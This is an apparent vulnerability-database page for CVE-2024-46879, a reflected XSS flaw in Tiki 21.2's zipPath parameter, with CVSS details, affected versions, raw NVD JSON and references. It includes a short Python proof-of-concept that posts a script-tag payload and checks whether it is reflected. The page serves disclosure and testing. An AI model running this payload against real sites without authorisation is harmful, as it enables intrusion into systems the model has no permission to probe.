Security Vulnerability Report
中文
CVE-2024-46879 CVSS 5.4 MEDIUM

CVE-2024-46879

Published: 2026-03-23 20:16:23
Last Modified: 2026-04-02 20:11:38

Description

A Reflected Cross-Site Scripting (XSS) vulnerability exists in the POST request data zipPath of tiki-admin_system.php in Tiki version 21.2. This vulnerability allows attackers to execute arbitrary JavaScript code via a crafted payload, leading to potential access to sensitive information or unauthorized actions.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:tiki:tiki:*:*:*:*:*:*:*:* - VULNERABLE
Tiki Wiki CMS Groupware 21.2
Tiki Wiki CMS Groupware 21.x (LTS)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the vulnerable Tiki CMS instance target_url = "http://example.com/tiki-admin_system.php" # Malicious payload to test XSS vulnerability # Payload attempts to execute a simple JavaScript alert xss_payload = '"><script>alert("CVE-2024-46879-XSS")</script>' # POST data parameters post_data = { "zipPath": xss_payload } try: # Sending POST request to the target response = requests.post(target_url, data=post_data) # Checking if the payload is reflected in the response unfiltered if xss_payload in response.text: print("[+] The application is vulnerable to Reflected XSS.") else: print("[-] Vulnerability could not be confirmed or payload is filtered.") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-46879", "sourceIdentifier": "[email protected]", "published": "2026-03-23T20:16:22.530", "lastModified": "2026-04-02T20:11:38.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Reflected Cross-Site Scripting (XSS) vulnerability exists in the POST request data zipPath of tiki-admin_system.php in Tiki version 21.2. This vulnerability allows attackers to execute arbitrary JavaScript code via a crafted payload, leading to potential access to sensitive information or unauthorized actions."}, {"lang": "es", "value": "Una vulnerabilidad de cross-site scripting (XSS) reflejado existe en los datos de la solicitud POST zipPath de tiki-admin_system.php en la versión 21.2 de Tiki. Esta vulnerabilidad permite a los atacantes ejecutar código JavaScript arbitrario a través de una carga útil manipulada, lo que puede llevar a un acceso potencial a información sensible o acciones no autorizadas."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:tiki:tiki:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.11", "matchCriteriaId": "A3316DA5-23FE-4AEB-8EFC-369ECFBD0AF1"}]}]}], "references": [{"url": "https://github.com/ColdFusionX/CVE-2024-46879-TikiCMS-XSS", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://tiki.org/article515-New-Security-Update-Released-for-Tiki-21-x-LTS-and-Upgrade-is-Strongly-Recommended", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://tiki.org/tiki-newsletters.php?nlId=8&info=1", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/ColdFusionX/CVE-2024-46879-TikiCMS-XSS", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}